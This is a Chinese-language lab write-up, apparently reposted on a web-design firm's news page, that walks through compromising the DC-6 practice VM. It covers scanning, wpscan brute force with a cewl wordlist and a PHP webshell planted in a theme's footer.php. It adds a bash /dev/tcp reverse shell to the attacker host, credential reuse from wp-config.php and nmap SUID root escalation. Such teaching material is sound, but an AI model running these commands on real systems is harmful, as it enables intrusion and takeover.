尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

从信息收集到root提权:DC-6靶机完整渗透测试实战解析

发布时间:2026/9/24 21:11:35

资讯中心
01
ARTICLE

从信息收集到root提权:DC-6靶机完整渗透测试实战解析

从信息收集到root提权:DC-6靶机完整渗透测试实战解析
最近在整理靶机练习笔记翻到一次完整的渗透测试过程觉得整个链路特别适合拿来当教学案例。这次测试的目标是我自己搭在虚拟机里的一个内网站点全程在授权范围内进行从信息收集、漏洞发现、getshell 到最后的提权拿 root一步没跳。很多朋友学渗透测试喜欢直接去开工具跑其实最值钱的反而是思路——拿到一个目标之后先干什么、后干什么哪些环节最容易卡住这篇文章就把整个流程拆开讲清楚。我用的攻击机是 Kali Linux目标是一个基于 WordPress 搭建的老旧站点运行在 Apache 环境下。之所以选这个组合是因为 WordPress 生态太庞大了插件和主题的漏洞层出不穷是练习 Web 渗透、漏洞利用和权限提升的绝佳素材。文里所有的操作都在本地网络环境下完成没有触碰任何真实系统这点必须先说清楚——安全从业者的底线就是授权任何未经授权的渗透测试都是违法行为练习只能在自建靶场或者有书面授权的目标上进行。1. 测试环境搭建与渗透测试整体思路1.1 环境准备与网络拓扑我这边用的是 VMware攻击机是 Kali Linux 2023 版目标机是一个导入的 OVA 靶机镜像DC-6 系列。网络模式选择了 NAT这样两台虚拟机在同一个内网段里既能通信又不会暴露到外网。为什么要用 NAT 而不是桥接因为 NAT 模式下虚拟机和外网隔离开测试过程更可控不会因为扫描流量太大影响局域网里的其他设备。目标机启动后默认会从 DHCP 获取 IP。攻击机和目标机之间没有任何中间设备方便我用 ARP 扫描直接定位目标。这种拓扑虽然简单但足够还原渗透测试里最核心的流程信息收集搞清楚目标开放了哪些端口、跑着什么服务。漏洞分析根据服务版本和指纹信息找可用的漏洞点。漏洞利用通过 Web 漏洞或者弱口令进入目标系统。权限提升从低权限用户一步步提到 root。报告输出整理整个过程的证据链和修复建议。1.2 靶机选择逻辑为什么选 DC-6 而不是其他靶机因为这个靶机的套路非常典型——信息收集阶段需要你仔细去做中间有密码字典定制的环节后面还有用户密码复用和 SUID 提权几乎覆盖了面试和实际工作中大部分高频考点。很多初学者上来就用漏扫工具扫一遍发现没有直接可利用的高危漏洞就懵了DC-6 恰好就是那种需要你“动脑子”的目标不是一键能拿下的。另外这个靶机环境对内存要求不高1GB 内存跑起来很流畅对电脑配置一般的朋友很友好。我见过有人在 Docker 里搭 DVWA 练习虽然也能练但缺少完整的系统层面提权过程。DVWA 练的是 Web 漏洞利用而 DC-6 能让你从 Web 一路打到系统 root链路更完整。2. 信息收集从网络扫描到 Web 指纹识别2.1 主机发现与端口扫描靶机启动后第一步永远是先确认目标在哪个 IP。我习惯用 nmap 的 ping 扫描先看整个网段的存活主机nmap -sn 192.168.10.0/24扫描结果里会看到几台主机其中一台的主机名带dc-6字样大概率就是目标。如果因为 ARP 缓存问题看不到主机名可以再用arp-scan -l扫一遍直接看 MAC 地址来区分。确认 IP 之后做全端口扫描nmap -p- -T4 192.168.10.128这一步很多人会跳过直接扫常用端口我建议不要省。很多靶机或者真实系统都会在高端口跑一些奇怪的服务比如 8080、8443 管理后台或者 3306 数据库外露。全端口扫描虽然慢但值得等。这次扫描结果很干净只开放了 22 和 80 端口。22 是 SSH80 是 HTTP说明攻击面主要集中在 Web 服务上SSH 可以作为后续获得凭据后的登录通道。接着用-sV -A做服务和版本探测nmap -sV -A -p 22,80 192.168.10.128结果里能看到 Apache 版本、操作系统类型以及 HTTP 标题。标题通常直接告诉我们这是个什么站点有时候甚至能从标题里猜出 CMS 类型和主题名。这里显示是一个 WordPress 站点那后面信息收集的方向就很明确了。2.2 WordPress 指纹识别与目录枚举确认是 WordPress 之后我先用浏览器访问了一下站点首页发现是个个人博客风格的老站点文章内容里透露了一些作者信息这些信息后面会有大用。然后我用wpscan做 WordPress 专项指纹识别wpscan --url http://192.168.10.128 -e vp,vt,u,dbe参数说明-e后面跟的是枚举内容vp表示有漏洞的插件vt是有漏洞的主题u是用户dbe是数据库错误信息。wpscan 是 Kali 自带的 WordPress 安全扫描器对 WordPress 站点的指纹识别非常准。扫描结果里有几个关键信息WordPress 内核版本偏老存在已知漏洞。启用了activity monitor插件版本号明确。枚举出了几个用户名包括admin和mark等。同时我还用 gobuster 做了目录枚举gobuster dir -u http://192.168.10.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt主要目的是找那些不在导航里的隐藏路径比如/wp-admin、/wp-content、/backup这类。目录枚举在信息收集阶段不能省有时候站点在/backup目录里放了压缩包里面直接就是源码和数据库备份等于把大门钥匙送给你了。2.3 定制密码字典别忽略站点本身的信息这个环节是 DC-6 系列靶机最有教学价值的地方。你看站点首页的文章、评论、分类名会发现作者喜欢用一些特定的单词——这些单词不是随手写的而是整个站的“主题词”。用工具爬取页面内容并生成专属字典是渗透测试里很实用的一招。我用的工具是cewl专门用来从网站页面抓单词生成密码字典cewl http://192.168.10.128 -w dict.txt --with-numbers--with-numbers的意思是保留包含数字的单词因为很多人在密码里加年份或编号。生成的 dict.txt 就是后面爆破用的基础字典。为什么这么做因为通用字典比如 rockyou.txt太大了爆破效率低而且很多密码策略简单的站点用不上那么大的字典。从目标站点本身提取单词做定制字典命中率往往更高这个思路在真实授权测试中也很实用。3. 漏洞分析从插件漏洞到后台突破3.1 已知插件漏洞分析信息收集阶段确认的activity monitor插件我在本地搜索了一下这个插件存在一个远程代码执行漏洞。公开的 CVE 编号和 PoC 都能搜到漏洞成因是插件在未授权的情况下对某些参数缺少过滤导致可以直接通过 HTTP 请求执行系统命令。看漏洞描述只是第一步更重要是理解漏洞原理。这个插件的漏洞本质上是变量覆盖加命令拼接——攻击者可以通过构造特殊的 POST 请求把恶意参数传给后端执行函数最终在服务器上执行任意命令。这个类型在真实世界的插件漏洞里非常常见很多 CMS 插件开发者对输入过滤不够严格导致命令注入和代码注入。不过要注意公开的漏洞不一定在这个目标上能直接利用。因为插件版本对不上或者目标站点做了额外的访问控制都会导致利用失败。所以我在漏洞分析阶段做了两手准备——一边尝试插件漏洞利用一边走弱口令爆破后台的路线。3.2 利用 wpscan 爆破后台账号wpscan 不仅能做指纹识别也能做密码爆破。我把之前用 cewl 生成的字典作为密码字典用户名用枚举出来的admin和mark执行wpscan --url http://192.168.10.128 -U admin,mark -P dict.txt这里有个细节默认情况下 wpscan 爆破速度不会太快它是带着请求频率控制去跑的避免把目标打挂。如果你在真实授权测试中想要快一点的速率可以加--request-timeout和调整线程参数但不要太激进否则容易触发目标的防火墙或者 WAFIP 被封了就得不偿失。爆破结果出来了——mark账号的密码被成功猜中密码正好是 cewl 字典里的一个单词加数字组合。这个结果恰好说明了定制字典的有效性通用字典很难覆盖目标站点的“个人习惯”而基于站点内容生成的字典直接命中了作者的密码习惯。到这里我已经拿到了 WordPress 后台的低权限用户。下一步就是想办法 getshell。3.3 后台 getshell主题编辑器修改与反弹 Shell登录后台之后看似只是个普通编辑后台但 WordPress 后台本身就是一个巨大的攻击面。常见的 getshell 方法有三种修改主题文件在 404.php 或 footer.php 里插入一句话木马。上传恶意插件把包含 PHP 后门的 zip 包通过“安装插件”功能上传。利用后台自带的文件编辑器直接编辑 PHP 文件。我选了方法一因为最省事且最稳定。进入外观 - 主题编辑器选当前启用的主题找到footer.php在文件末尾插入一句话木马?php system($_GET[cmd]); ?加完之后保存访问下面的 URL 就能验证命令是否能执行http://192.168.10.128/wp-content/themes/主题名/footer.php?cmdid此处有个重点如果你插入的代码导致页面报错很可能是 PHP 语法错误导致主题无法加载这时你会被登出后台甚至整个站点白屏。所以插入之后先不要急着改别的先访问一下看能不能正常执行。如果白屏了就通过数据库或者备份把文件恢复。确认命令能执行之后我把一句话木马升级成反弹 Shell因为直接在 URL 里敲命令太受限制了很多符号会被 URL 编码或者被 WAF 拦截。用 nc 监听本地端口nc -lvnp 4444然后在 URL 里执行反弹命令http://目标IP/wp-content/themes/主题名/footer.php?cmdbash -c bash -i /dev/tcp/192.168.10.130/4444 01注意反弹 Shell 命令里的 IP 是攻击机的 IP端口要和 nc 监听的一致。命令里有特殊字符的时候最好做一次 URL 编码否则可能被服务器解析出错。这个知识点在实际渗透里经常用到编码问题会导致明明命令没问题却执行失败。4. 权限提升从 www-data 到 root 的全过程4.1 低权限用户的信息收集拿到反弹 Shell 之后首先id看了一下当前用户是www-data也就是 Web 服务的运行用户。www-data权限非常有限不能写系统目录也不能读敏感文件所以接下来要做的就是提权。我先在 Web 目录里翻了一遍配置文件重点看wp-config.php因为 WordPress 的数据库连接凭据都放在这个文件里。随便执行cat /var/www/html/wp-config.php结果看到了数据库用户名和密码。这是一个非常重要的信息收集习惯——拿到一个低权限 Shell 后第一件事就是收集当前目录和常见配置文件里的敏感信息比如.env、config.php、wp-config.php、备份文件、数据库连接串。很多系统的提权突破口就藏在配置文件的数据库密码里。数据库密码拿到了我尝试用这个密码去 SSH 登录其他用户。这里的逻辑是“密码复用”——很多管理员会在不同服务里用同一个密码尤其是数据库密码和系统用户密码二者经常混用。我先用枚举出来的用户名mark和这个数据库密码尝试 SSH 登录ssh mark192.168.10.128登录成功。到这里已经从www-data提升到了普通用户mark但离 root 还差一步。4.2 SUID 提权分析拿到普通用户权限后我开始找提权路径。最常见的几种思路sudo -l 查看当前用户是否有免密 sudo 权限。/etc/crontab 看有没有定时任务可以利用。SUID 文件找带特殊权限位的程序。先跑sudo -l提示当前用户没有 sudo 权限。再看 SUIDfind / -perm -4000 -type f 2/dev/null输出里翻了一圈发现/usr/bin/nmap带了 SUID 权限。这个知识点在渗透测试里很有名——nmap 在交互模式下可以执行系统命令而如果 nmap 本身有 SUID 权限那这些命令就会以 root 身份执行。换句话说只要进入 nmap 的交互模式就能提权。4.3 利用 nmap 交互模式提权我执行nmap --interactive然后进入 nmap 的交互 Shellnmap !sh执行之后id一看已经是 root 了。这个利用手段本身很简单但前提是 nmap 这个二进制文件设置了 SUID 位。正常安装的 nmap 很少带 SUID所以这种提权路径更多出现在配置不当的靶机和老旧系统上。拿到 root 后常规操作是把/root/flag.txt或者proof.txt找出来确认测试结果。我这边看到的提示是靶机作者留下的完成说明。到这里一次完整的渗透测试闭环就结束了。4.4 提权思路的扩展思考这次提权用的是 SUID 漏洞但实际工作中提权手段远不止这一种。内核漏洞提权、sudo 配置不当、定时任务劫持、Docker 组用户逃逸、日志文件软链接替换等等都是高频出现的路径。我建议新手在刷靶机的时候不要只是照着网上的 write-up 一步步执行而是每个提权点都想清楚“为什么这个点能提权”“系统管理员犯了什么配置错误”这样才是真的学会了。比如这次 nmap SUID 提权本质是管理员给一个能执行系统命令的程序赋予了高权限。如果你在实际环境中发现某个二进制文件带 SUID先去查这个程序的正常用途再看它有没有交互式命令执行的特性——像vim、less、more、find这些能调用外部 shell 的程序一旦带 SUID 就基本等于送分。5. 常见问题与排查技巧实录5.1 扫描阶段目标 IP 老是变或者扫不到虚拟机环境里最常见的问题就是 IP 变了。DC-6 靶机如果用 NAT 模式DHCP 分配 IP 可能和上次不一样。我建议在 VMware 里把目标机的网卡改成静态 IP或者在测试开始前先做一次完整的 ARP 扫描。还有个小技巧用nmap -sn扫完整个网段后用 MAC 地址对比来确认目标更准确。5.2 wpscan 爆破太慢或者请求被限wpscan 默认有请求延迟一方面是考虑目标负载另一方面是避免被封。但在本地靶机环境中不需要这么保守可以适当调高线程wpscan --url http://目标IP -U mark -P dict.txt --max-threads 8 --request-timeout 30如果目标部署了 WAF爆破请求可能会被拦截表现为大量请求返回 403。这时候需要降低速率、加随机 UA或者换用其他方式绕过——比如直接把爆破的请求代理到 Burp Suite 里手工调整。5.3 反弹 Shell 不稳定或者连不上反弹 Shell 失败的原因多到让人抓狂最常见的几个攻击机防火墙没关nc 端口没有真正监听。用ss -lntp确认一下。目标环境没有/bin/bash有些精简系统只有sh命令要改成sh -i /dev/tcp/...。目标禁止出站连接或者只有 53 端口能出站这时候可以用 DNS 隧道或者 HTTP 隧道做回调。命令里的 IP 和端口写错了一定要先本地测试。我习惯先把 nc 监听挂起来再执行反弹命令避免出现“Shell 反弹过来了但我 nc 还没就绪”的尴尬情况。5.4 提权失败内核提权不靠谱先看配置问题很多新手一提权就想到内核漏洞直接找linux-exploit-suggester跑一圈。但在实际环境中内核提权风险高、成功率不稳定而且容易把目标打崩。我建议的顺序永远是先看配置问题sudo、SUID、定时任务、敏感文件权限再看服务漏洞最后才考虑内核提权。这次的 nmap SUID 就是配置问题比内核提权简单稳定得多。5.5 靶机没法联网工具装不上怎么办有些靶机环境是隔离的内网访问不到外网导致apt install或者pip install都失败。这种情况我一般提前在攻击机上把可能用到的工具准备好或者本地建一个软件源镜像。真正的渗透测试里目标内网也经常不通外网所以这个坑在现实中更要重视——你不可能每次都依赖联网下载工具平时就要养成把脚本和静态编译的工具提前备好的习惯。写在最后的一点体会刷完这套靶机我个人最大的感受是渗透测试的核心不是某个炫酷的 0day而是整个链路的信息收集和逻辑串联。从 cewl 生成字典到 wpscan 爆破后台再到数据库密码复用来 SSH 登录最后靠 SUID 提权每一步走的都是常规操作但每一步都为下一步做了铺垫。这种“步步为营”的节奏才是真实渗透测试中最珍贵的能力。还有一点心得是所有的渗透测试都要以报告收尾。很多人打完靶机拿个 root 就感觉完事了其实文档记录同样重要——访问时间、利用路径、使用的命令、截图证据、修复建议这些都是安全工作中交付给客户的核心内容。以后无论你是做安全运维、红队还是蓝队清晰的报告能力都会让你比其他同行高出一截。如果你刚开始学渗透测试我建议照着这篇文章的流程自己在本地把 DC-6 靶机完整过一遍不要只看不练。踩过坑、卡过壳、翻过车这都比我在这里写一万个字管用。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。